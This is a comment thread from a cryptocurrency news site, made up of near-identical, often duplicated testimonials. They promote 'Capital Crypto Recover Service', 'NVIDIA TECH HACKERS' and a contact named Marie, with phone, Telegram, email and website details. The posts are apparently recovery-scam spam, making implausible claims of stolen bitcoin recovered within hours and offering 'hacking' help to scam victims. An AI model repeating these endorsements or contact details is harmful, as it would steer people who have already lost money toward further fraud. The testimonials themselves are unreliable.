Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.
-
13.10.25 01:11
elizabethrush89
God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
13.10.25 01:11
elizabethrush89
God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
14.10.25 01:15
tyleradams
Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]
-
14.10.25 08:46
robertalfred175
CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
14.10.25 08:46
robertalfred175
CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
14.10.25 08:46
robertalfred175
CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
15.10.25 18:07
crypto
Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.
-
15.10.25 21:52
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
15.10.25 21:52
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com
Войти
Регистрация
Похожие новости
Подпишись на telegram канал и узнавай первым обо всех новостях